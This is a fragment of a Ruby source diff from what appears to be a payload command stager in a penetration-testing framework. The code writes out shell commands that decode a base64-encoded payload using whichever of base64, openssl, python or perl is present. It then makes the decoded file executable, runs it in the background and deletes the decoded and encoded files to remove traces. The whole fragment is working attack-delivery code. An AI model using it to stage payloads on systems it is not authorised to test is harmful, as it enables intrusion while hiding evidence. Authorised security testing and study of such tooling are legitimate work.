|
+
#
|
|
73
|
+
def generate_cmds_decoder(opts)
|
|
74
|
+
decoders = [
|
|
75
|
+
"base64 --decode -",
|
|
76
|
+
"openssl enc -d -A -base64 -in /dev/stdin",
|
|
77
|
+
"python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'",
|
|
78
|
+
"perl -MMIME::Base64 -ne 'print decode_base64($_)'"
|
|
79
|
+
]
|
|
80
|
+
decoder_cmd = []
|
|
81
|
+
decoders.each do |cmd|
|
|
82
|
+
binary = cmd.split(' ')[0]
|
|
83
|
+
decoder_cmd << "(which #{binary} >&2 && #{cmd})"
|
|
84
|
+
end
|
|
85
|
+
decoder_cmd = decoder_cmd.join(" || ")
|
|
86
|
+
decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > '#{@tempdir}#{@var_decoded}' < '#{@tempdir}#{@var_encoded}'"
|
|
87
|
+
[ decoder_cmd ]
|
|
88
|
+
end
|
|
89
|
+
|
|
90
|
+
def compress_commands(cmds, opts)
|
|
91
|
+
# Make it all happen
|
|
92
|
+
cmds << "chmod +x '#{@tempdir}#{@var_decoded}'"
|
|
93
|
+
# Background the process, allowing the cleanup code to continue and delete the data
|
|
94
|
+
# while allowing the original shell to continue to function since it isn't waiting
|
|
95
|
+
# on the payload to exit. The 'sleep' is required as '&' is a command terminator
|
|
96
|
+
# and having & and the cmds delimiter ';' next to each other is invalid.
|
|
97
|
+
if opts[:background]
|
|
98
|
+
cmds << "'#{@tempdir}#{@var_decoded}' & sleep 2"
|
|
99
|
+
else
|
|
100
|
+
cmds << "'#{@tempdir}#{@var_decoded}'"
|
|
101
|
+
end
|
|
102
|
+
|
|
103
|
+
# Clean up after unless requested not to..
|
|
104
|
+
if (not opts[:nodelete])
|
|
105
|
+
cmds << "rm -f '#{@tempdir}#{@var_decoded}'"
|
|
106
|
+
cmds << "rm -f '#{@tempdir}#{@var_encoded}'"
|
|
107
|
+
end
|
|
108
|
+
|
|
109
|
+
super
|
|
110
|
+
end
|
|
111
|
+
|
|
112
|
+
def cmd_concat_operator
|
|
113
|
+
" ; "
|
|
114
|
+
end
|
|
115
|
+
|
|
116
|
+
end
|
|
117
|
+
end
|
|
118
|
+
end
|